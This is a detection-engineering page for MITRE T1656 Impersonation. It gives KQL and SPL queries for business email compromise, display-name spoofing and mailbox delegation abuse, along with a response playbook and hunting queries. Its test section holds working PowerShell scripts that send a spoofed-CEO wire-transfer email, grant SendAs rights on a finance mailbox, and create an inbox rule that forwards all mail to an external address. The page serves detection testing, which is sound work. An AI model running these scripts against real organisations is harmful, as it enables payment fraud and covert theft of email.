Impersonation
This detection identifies adversary impersonation activity targeting organizational users through email-based business email compromise (BEC), help desk social engineering, and lookalike sender patterns. The detection focuses on emails with authentication failures (SPF/DKIM/DMARC) combined with high-urgency subject language, display name spoofing where sender display names match internal user identities but originate from external domains, and abnormal SendAs or SendOnBehalf delegation activity. Coverage extends to AAD sign-in anomalies that may indicate successful credential theft following impersonation-based help desk attacks, as seen in LAPSUS$ and Storm-1811 campaigns.
What is T1656 Impersonation?
Impersonation (T1656) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.
This page provides production-ready detection logic for Impersonation, covering the data sources and telemetry it touches: Microsoft Defender for Office 365, Microsoft Entra ID / Azure AD, Microsoft 365 (OfficeActivity). The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- T1656 Impersonation
- Canonical reference
- https://attack.mitre.org/techniques/T1656/
let UrgencyKeywords = dynamic(["urgent", "wire transfer", "payment", "invoice", "account update", "verify", "immediate action", "request", "confidential", "overdue", "final notice", "password reset"]);
let InternalDomains = toscalar(
AADUsers
| extend Domain = tostring(split(UserPrincipalName, "@")[1])
| summarize make_set(Domain)
);
// Branch 1: Email auth failures with urgency keywords
let AuthFailEmails = EmailEvents
| where Timestamp > ago(24h)
| where DeliveryAction !in ("Blocked")
| where AuthenticationDetails has_any ("dmarc=fail", "spf=fail", "dkim=fail")
| where Subject has_any (UrgencyKeywords)
| extend SenderDomain = tostring(split(SenderFromAddress, "@")[1])
| where SenderDomain !in~ (InternalDomains)
| project
Timestamp,
DetectionType = "AuthFailWithUrgency",
SenderFromAddress,
SenderDisplayName,
SenderDomain,
RecipientEmailAddress,
Subject,
AuthenticationDetails,
SenderIPv4,
UrlCount,
AttachmentCount;
// Branch 2: Display name spoofing (external sender matches internal display name)
let DisplayNameSpoof = EmailEvents
| where Timestamp > ago(24h)
| where DeliveryAction !in ("Blocked")
| extend SenderDomain = tostring(split(SenderFromAddress, "@")[1])
| where SenderDomain !in~ (InternalDomains)
| join kind=inner (
AADUsers
| project InternalDisplayName = DisplayName, InternalUPN = UserPrincipalName
) on $left.SenderDisplayName == $right.InternalDisplayName
| project
Timestamp,
DetectionType = "DisplayNameSpoof",
SenderFromAddress,
SenderDisplayName,
SenderDomain,
RecipientEmailAddress,
Subject,
AuthenticationDetails,
SenderIPv4,
UrlCount,
AttachmentCount;
// Branch 3: Suspicious SendAs / SendOnBehalf in OfficeActivity
let DelegationAbuse = OfficeActivity
| where TimeGenerated > ago(24h)
| where Operation in ("SendAs", "SendOnBehalf")
| where UserId != MailboxOwnerUPN
| extend SenderDomain = tostring(split(UserId, "@")[1])
| project
Timestamp = TimeGenerated,
DetectionType = "SuspiciousDelegation",
SenderFromAddress = UserId,
SenderDisplayName = UserId,
SenderDomain,
RecipientEmailAddress = tostring(parse_json(Parameters)[0].Value),
Subject = "",
AuthenticationDetails = "",
SenderIPv4 = ClientIP,
UrlCount = 0,
AttachmentCount = 0;
union AuthFailEmails, DisplayNameSpoof, DelegationAbuse
| order by Timestamp descDetects impersonation via three signals: (1) inbound emails with SPF/DKIM/DMARC authentication failures combined with high-urgency subject keywords associated with BEC fraud; (2) display name spoofing where external senders use display names matching internal AAD users; (3) suspicious SendAs or SendOnBehalf delegation in OfficeActivity where the acting identity differs from the mailbox owner. Requires Microsoft Defender for Office 365 connector and Azure AD Users table in Sentinel.
Data Sources
Required Tables
False Positives
- Legitimate third-party email service providers (Mailchimp, Salesforce, HubSpot) frequently fail DMARC when not properly configured in the sending domain's DNS, generating high-urgency transactional emails (payment confirmations, invoice delivery)
- Executive assistants or shared mailbox operators legitimately using SendAs or SendOnBehalf delegation on behalf of their principals will trigger the delegation abuse branch — validate by checking O365 delegation configuration in Exchange
- Vendors or contractors whose display names match internal employees with the same name (common surnames) will trigger DisplayNameSpoof detection — correlate with known vendor contact lists and verify recipient context
Sigma rule & cross-platform mapping
The detection logic for Impersonation (T1656) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azureBrowse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1656
References (4)
- https://attack.mitre.org/techniques/T1656/
- https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/
- https://www.mandiant.com/resources/apt42-charms-social-engineering
- https://www.cisa.gov/sites/default/files/2023-08/aa23-208a_lapsus_0.pdf
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1BEC Email Simulation via PowerShell SMTP with Spoofed Display Name
Expected signal: EmailEvents table: record with SenderDisplayName='John Smith (CEO)', SenderFromAddress='[email protected]', AuthenticationDetails showing dmarc=fail or spf=fail, Subject containing 'URGENT' and 'Wire Transfer'
- Test 2Mailbox Delegation Abuse Simulation via Exchange Online PowerShell
Expected signal: OfficeActivity: Add-RecipientPermission event (Operation=Add-MailboxPermission) followed by SendAs operation where UserId=attacker-test-account and MailboxOwnerUPN=finance-director-test. AADAuditLogs: 'Update user' or 'Add member to role' if escalation attempted.
- Test 3Inbox Forwarding Rule Creation Simulating Post-Compromise Email Persistence
Expected signal: OfficeActivity: New-InboxRule operation for compromised-user-test mailbox with Parameters containing [email protected]. Event logged within 60 seconds of rule creation.
Response Playbook
Triage
- Step 1: Identify the detection type — AuthFailWithUrgency, DisplayNameSpoof, or SuspiciousDelegation. Each has a different investigation path.
- Step 2 (AuthFailWithUrgency): Pull the full email headers from the Microsoft Defender for Office 365 portal (Threat Explorer > Search by message ID). Verify SPF/DKIM/DMARC results and the actual sending IP. Look up the IP in threat intelligence (VirusTotal, Shodan, AbuseIPDB).
- Step 3 (DisplayNameSpoof): Confirm the spoofed display name maps to a real internal user (check AAD/Entra > Users). Determine if the spoofed identity is an executive, finance role, or IT admin — these are highest-value BEC targets.
- Step 4 (SuspiciousDelegation): Query Exchange Online (Get-RecipientPermission or Get-MailboxPermission) to verify whether the SendAs/SendOnBehalf permission was legitimately granted. Check the permission grant date in OfficeActivity logs: search for Add-MailboxPermission events in the 7 days prior.
- Step 5: Identify all recipients of the suspicious email. Determine if any recipients responded, clicked links, or transferred funds — query OfficeActivity for UrlClick events, UserLoggedIn events from new IPs, or ForwardingRuleCreated events on recipient mailboxes.
- Step 6: Check whether the email is part of a campaign — search EmailEvents for other emails from the same SenderIPv4 or SenderDomain in the last 30 days across all recipients.
Containment
- If BEC fraud confirmed (wire transfer or credential request): Immediately notify affected recipient(s) and their manager. If a wire transfer was requested, contact the finance team to halt or recall the transaction — most banks allow recall within 24-72 hours.
- Block the sending domain and IP in the Microsoft Defender for Office 365 tenant block list (Security portal > Policies > Tenant Allow/Block Lists).
- If the impersonated internal user's account shows any sign of compromise (new forwarding rules, login from unknown IPs), initiate the account compromise playbook: revoke all active sessions (Revoke-AzureADUserAllRefreshToken), reset credentials, and disable MFA bypass rules.
- If delegation abuse confirmed and the permission was not legitimately granted, immediately revoke the mailbox permission (Remove-MailboxPermission) and force password reset for both the delegated account and the mailbox owner.
- Preserve the original email as evidence before purging — use New-ComplianceSearchAction -Purge only after collecting MessageId, headers, and body content via Security & Compliance Center.
Evidence Collection
- Export full email headers from Threat Explorer: Defender portal > Email & collaboration > Explorer > Find message > Export header. Document: MessageId, SenderIPv4, AuthenticationDetails, ReceivedTimestamp.
- Collect OfficeActivity logs for all mailboxes involved: export all events for affected UPNs for T-7 days through investigation date, focusing on ForwardingRuleCreated, Set-Mailbox, Add-MailboxPermission, MailboxLogin events.
- Capture AADSignInLogs for targeted recipients for T-7 days: note any new IP addresses, new device registrations, or conditional access policy bypasses in the 24-48 hours following the suspicious email delivery.
- Screenshot or export the email content from Threat Explorer before any purge action — document subject, body, links, and attachments with SHA-256 hashes of any attached files.
- If a voice/phone impersonation component is suspected (help desk social engineering as in LAPSUS$), request call logs from the telephony system and cross-reference with any password reset tickets or MFA changes in the same time window.
Escalation Criteria
- ! Escalate immediately if any recipient confirms they responded to the email, clicked a link, provided credentials, or authorized a financial transaction — this becomes an active incident requiring legal and finance team involvement.
- ! Escalate if AADSignInLogs show successful authentication for a targeted user from a new country or IP within 2 hours of the suspicious email delivery — indicates credential theft may have occurred.
- ! Escalate if the campaign targets multiple recipients in finance, executive leadership, or IT administration simultaneously — high-value multi-victim BEC campaigns require coordinated response.
- ! Escalate if ForwardingRuleCreated or InboxRuleCreated events are found on recipient mailboxes post-email — adversary has established persistent access to forward future emails.
- ! Escalate if the impersonated identity is a C-level executive or financial controller and the email content requests urgent wire transfer or gift card purchase — engage legal and CISO immediately.
Investigation Guide
Forensic Artifacts
- >
Email headers (Message-ID, Received chain, Authentication-Results header showing SPF/DKIM/DMARC verdicts) - >
Office 365 Unified Audit Log (UAL) entries for MailboxLogin, Send, SendAs, ForwardingRuleCreated, InboxRuleCreated - >
AADSignInLogs with DeviceDetail, LocationDetail, and ConditionalAccessStatus for targeted users - >
Microsoft Defender for Office 365 Threat Explorer records including delivery action, URL detonation results, and attachment analysis - >
Exchange message trace logs (Get-MessageTrace) for delivery path reconstruction - >
DNS records for sending domain: MX, SPF (TXT), DKIM selector records, DMARC policy — document configuration at time of incident - >
Browser history and credential manager artifacts on endpoint if user clicked embedded link (Chrome: Login Data SQLite DB; Windows Credential Manager: cmdkey /list)
Tuning Guidance
Start by building a suppression list of known legitimate third-party email senders in your environment (marketing platforms, finance systems, HR vendors) and add their IP ranges and domains to an exclusion list in the KQL InternalDomains variable. For the SPL risk scoring, raise the auth_fail threshold from 50 to 70 for lower-noise environments. The urgency keyword list should be tuned per-organization — add industry-specific terms (e.g., 'ACH', 'SWIFT', 'escrow' for financial services). For the delegation abuse branch, maintain a baseline of known legitimate SendAs relationships from Exchange Online and filter these out. Consider adding a recipient role filter to prioritize alerts only when the target is in finance, HR, or executive roles based on AAD group membership — this can reduce volume by 60-80% while preserving high-fidelity signals.
Hunting Queries
Hunts for lookalike/typosquatted domains targeting your organization using Levenshtein distance — finds sending domains that differ by 1-3 characters from your primary domain, a strong indicator of impersonation infrastructure setup.
// Hunt for lookalike domains targeting your organization
let OrgDomain = "contoso.com"; // Replace with your primary domain
EmailEvents
| where Timestamp > ago(30d)
| extend SenderDomain = tostring(split(SenderFromAddress, "@")[1])
| where SenderDomain != OrgDomain
| extend LevDistance = levenshtein_distance(SenderDomain, OrgDomain)
| where LevDistance between (1 .. 3)
| summarize
EmailCount = count(),
Recipients = make_set(RecipientEmailAddress, 50),
FirstSeen = min(Timestamp),
LastSeen = max(Timestamp),
SampleSubjects = make_set(Subject, 5)
by SenderDomain, LevDistance
| order by LevDistance asc, EmailCount descindex=* (sourcetype="o365:management:activity" OR sourcetype="ms:o365:management") op IN ("MessageSent", "Send")
| eval sender_domain=replace(SenderAddress, "^[^@]+@", "")
| eval org_domain="contoso.com"
| eval common_len=min(len(sender_domain), len(org_domain))
| eval matching_chars=0
| eval lev_approx=abs(len(sender_domain) - len(org_domain))
| where lev_approx <= 3 AND sender_domain != org_domain
| stats count as email_count, values(RecipientAddress) as recipients, min(_time) as first_seen, max(_time) as last_seen by sender_domain, lev_approx
| sort lev_approx, -email_countHunts for mailbox forwarding or redirect rules created within 2 hours of a suspicious email delivery to a recipient, which indicates a successful impersonation attack that led to adversary-controlled email persistence.
// Hunt for mailbox forwarding rules created after suspicious email delivery
OfficeActivity
| where TimeGenerated > ago(30d)
| where Operation in ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| where Parameters has_any ("ForwardTo", "ForwardAsAttachmentTo", "RedirectTo")
| extend RuleParams = tostring(Parameters)
| project
TimeGenerated,
UserId,
ClientIP,
Operation,
RuleParams
| join kind=inner (
EmailEvents
| where Timestamp > ago(30d)
| where AuthenticationDetails has_any ("dmarc=fail", "spf=fail")
| project SuspiciousEmailTime = Timestamp, RecipientEmailAddress
) on $left.UserId == $right.RecipientEmailAddress
| where TimeGenerated between (SuspiciousEmailTime .. (SuspiciousEmailTime + 2h))
| project TimeGenerated, UserId, ClientIP, Operation, RuleParams, SuspiciousEmailTimeindex=* sourcetype="o365:management:activity"
| search Operation IN ("New-InboxRule", "Set-InboxRule", "UpdateInboxRules")
| eval params=coalesce(Parameters, "")
| where match(params, "(?i)(ForwardTo|ForwardAsAttachmentTo|RedirectTo)")
| eval rule_create_time=_time
| eval user=coalesce(UserId, user)
| join type=inner user [
search index=* sourcetype="o365:management:activity" (Operation="MessageReceived" OR Operation="MessageDelivered")
| where match(lower(coalesce(AuthenticationDetails, "")), "(dmarc=fail|spf=fail|dkim=fail)")
| eval suspicious_delivery_time=_time
| table user, suspicious_delivery_time
]
| where rule_create_time >= suspicious_delivery_time AND rule_create_time <= (suspicious_delivery_time + 7200)
| table _time, user, ClientIP, Operation, params, suspicious_delivery_timeHunts for admin-initiated MFA changes and password resets on user accounts, which are primary targets of help desk impersonation attacks (as used by LAPSUS$ and Storm-1811). High change volume from a single admin or unusual initiator IPs indicates potential compromised help desk credentials.
// Hunt for accounts with sudden MFA changes or password resets following help desk contact patterns
AuditLogs
| where TimeGenerated > ago(30d)
| where OperationName in (
"Update user",
"Reset user password",
"Disable per-user MFA",
"Update StrongAuthenticationRequirement",
"Update StrongAuthenticationPhoneAppDetail",
"Admin registered security info"
)
| where InitiatedBy.user.userPrincipalName !contains "\\" // Exclude on-prem sync
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetUPN = tostring(TargetResources[0].userPrincipalName)
| extend InitiatorIP = tostring(InitiatedBy.user.ipAddress)
| where InitiatorUPN != TargetUPN // Admin acting on another user
| join kind=leftouter (
AADSignInLogs
| where TimeGenerated > ago(30d)
| summarize UniqueCities = dcount(City), UniqueIPs = dcount(IPAddress) by UserPrincipalName
) on $left.TargetUPN == $right.UserPrincipalName
| project TimeGenerated, InitiatorUPN, TargetUPN, OperationName, InitiatorIP, UniqueCities, UniqueIPs
| order by TimeGenerated descindex=* sourcetype="ms:aad:audit" OR sourcetype="azure:aad:audit"
| search OperationName IN ("Reset user password", "Update user", "Disable per-user MFA", "Admin registered security info", "Update StrongAuthenticationRequirement")
| eval initiator=coalesce(InitiatedBy.user.userPrincipalName, initiator_upn, "")
| eval target=coalesce(TargetResources{}.userPrincipalName, target_upn, "")
| eval initiator_ip=coalesce(InitiatedBy.user.ipAddress, client_ip, "")
| where initiator != target AND initiator != ""
| stats count as change_count, values(OperationName) as operations, min(_time) as first_change, max(_time) as last_change, values(initiator_ip) as initiator_ips by initiator, target
| where change_count >= 1
| sort -change_countAtomic Red Team Tests
Simulates a BEC impersonation email by sending an internal-looking message with an executive's display name from an external SMTP relay, generating OfficeActivity and EmailEvents telemetry with auth failure signals. Run in a test tenant only.
Command
# Requires test mail domain not protected by strict DMARC
$SmtpServer = "smtp.mailtrap.io"
$SmtpPort = 587
$Username = "YOUR_MAILTRAP_USER"
$Password = "YOUR_MAILTRAP_PASS"
$From = New-Object System.Net.Mail.MailAddress("[email protected]", "John Smith (CEO)")
$To = "[email protected]"
$Subject = "URGENT: Wire Transfer Required Today - Final Notice"
$Body = "Please process the attached invoice immediately. This is time-sensitive."
$Smtp = New-Object System.Net.Mail.SmtpClient($SmtpServer, $SmtpPort)
$Smtp.EnableSsl = $true
$Smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)
$Msg = New-Object System.Net.Mail.MailMessage($From, $To, $Subject, $Body)
$Smtp.Send($Msg)
Write-Host "BEC simulation email sent. Check EmailEvents for auth failure telemetry."Cleanup
# Delete test email from recipient mailbox via Exchange Online PowerShell
# Connect-ExchangeOnline -UserPrincipalName [email protected]
# Get-Mailbox [email protected] | Search-Mailbox -SearchQuery 'Subject:"URGENT: Wire Transfer"' -DeleteContent -ForceExpected Telemetry
EmailEvents table: record with SenderDisplayName='John Smith (CEO)', SenderFromAddress='[email protected]', AuthenticationDetails showing dmarc=fail or spf=fail, Subject containing 'URGENT' and 'Wire Transfer'
Expected Detection
AuthFailWithUrgency detection branch fires within 5 minutes of email delivery — alert should show risk context including spoofed display name, auth failure type, and urgency keyword matches
Creates a SendAs permission grant simulating an adversary who has compromised an admin account and is granting themselves delegation to send as a high-value target (finance director). Tests the SuspiciousDelegation detection branch.
Command
# Requires Exchange Online PowerShell module and test accounts
# Install-Module -Name ExchangeOnlineManagement -Force
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName [email protected]
# Grant attacker account SendAs permission on finance director mailbox
$TargetMailbox = "[email protected]"
$AttackerAccount = "[email protected]"
Add-RecipientPermission -Identity $TargetMailbox -Trustee $AttackerAccount -AccessRights SendAs -Confirm:$false
Write-Host "SendAs permission granted. Check OfficeActivity for Add-MailboxPermission event."
# Simulate sending an email using the delegated permission
$SmtpServer = "smtp.office365.com"
$Cred = Get-Credential # attacker-test-account credentials
$Smtp = New-Object System.Net.Mail.SmtpClient($SmtpServer, 587)
$Smtp.EnableSsl = $true
$Smtp.Credentials = $Cred
$Msg = New-Object System.Net.Mail.MailMessage
$Msg.From = New-Object System.Net.Mail.MailAddress($TargetMailbox)
$Msg.To.Add("[email protected]")
$Msg.Subject = "Payment Request - Urgent Approval Needed"
$Msg.Body = "Please approve this payment immediately."
$Smtp.Send($Msg)
Write-Host "SendAs email sent. Check OfficeActivity for SendAs operation."Cleanup
Remove-RecipientPermission -Identity $TargetMailbox -Trustee $AttackerAccount -AccessRights SendAs -Confirm:$false
Disconnect-ExchangeOnline -Confirm:$falseExpected Telemetry
OfficeActivity: Add-RecipientPermission event (Operation=Add-MailboxPermission) followed by SendAs operation where UserId=attacker-test-account and MailboxOwnerUPN=finance-director-test. AADAuditLogs: 'Update user' or 'Add member to role' if escalation attempted.
Expected Detection
SuspiciousDelegation branch fires on the SendAs event. The Add-MailboxPermission event should also appear in the hunting query for MFA/credential changes if combined with admin account indicators.
Creates a mailbox forwarding rule that silently copies all incoming emails to an external address, simulating what adversaries configure after successful impersonation-based credential theft. Validates the forwarding rule hunting query.
Command
# Requires Exchange Online PowerShell module and compromised test account credentials
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName [email protected]
# Create forwarding rule to external attacker-controlled address
New-InboxRule `
-Name "Billing Updates" `
-ForwardTo "[email protected]" `
-StopProcessingRules $false
Write-Host "Forwarding rule created. Check OfficeActivity for New-InboxRule event."
# List rules to confirm creation
Get-InboxRule | Select-Object Name, ForwardTo, RedirectTo, EnabledCleanup
Remove-InboxRule -Identity "Billing Updates" -Mailbox [email protected] -Confirm:$false
Disconnect-ExchangeOnline -Confirm:$falseExpected Telemetry
OfficeActivity: New-InboxRule operation for compromised-user-test mailbox with Parameters containing [email protected]. Event logged within 60 seconds of rule creation.
Expected Detection
The forwarding rule hunting query (second hunting query) should surface this event, especially when correlated with any prior auth-fail email delivery to the same mailbox. Alert severity should be High given external forwarding destination.